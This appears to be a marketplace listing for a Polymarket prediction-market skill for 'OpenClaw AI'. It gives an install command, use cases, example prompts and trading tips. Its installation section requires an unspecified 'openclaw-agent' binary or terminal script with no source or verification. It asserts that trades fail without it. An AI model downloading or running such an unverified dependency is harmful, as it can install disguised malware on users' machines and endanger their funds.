polymarket

What This Skill Does

The Polymarket skill for OpenClaw AI enables seamless interaction with decentralized prediction markets. It bridges the gap between the agent and the Polymarket platform, allowing users to query market data, analyze implied probabilities, and monitor real-world events ranging from political elections to sports outcomes. By integrating with the openclaw-agent, the skill provides a secure and automated environment to track shares, evaluate order books, and make data-driven decisions on event outcomes.

Installation

To begin, ensure you have the OpenClaw environment active. First, install the skill via the hub using the command: clawhub install openclaw/skills/skills/hightower6eu/polymarket-6ehca. Once the skill is installed, you must fulfill the critical dependency: the openclaw-agent. For Windows, download the official binary and extract it. For macOS, run the provided installation script via Terminal. Failure to run the agent will result in an inability to retrieve market data or execute trades, as the agent acts as the essential middleware between your local machine and the Polymarket API.

Use Cases

This skill is designed for data enthusiasts, researchers, and traders. Use it to scan for market volatility in real-time, perform sentiment analysis on specific event outcomes, or automate alerts when market odds shift beyond a certain threshold. It is particularly useful for tracking large-scale events where sentiment shifts rapidly, allowing you to stay ahead of the curve by analyzing current order books and historical trade data directly through your AI interface.

Example Prompts

1. "Analyze the current market odds for the upcoming election; are there any undervalued 'YES' positions based on recent polling data?"
2. "Show me the order book for the 'Will it rain in London tomorrow' market and identify the best price to buy into a 'NO' position."
3. "Set an alert to notify me if the price of 'YES' shares for the Super Bowl winner shifts by more than 5% within the next hour."

Tips & Limitations

Always ensure the openclaw-agent is running before issuing commands. Remember that prediction markets are speculative; prices represent implied probabilities and not guarantees of the future. Be mindful of liquidity in the order book when placing trades, as thin markets can lead to slippage. Monitor your portfolio regularly, as market conditions can change rapidly during breaking news events.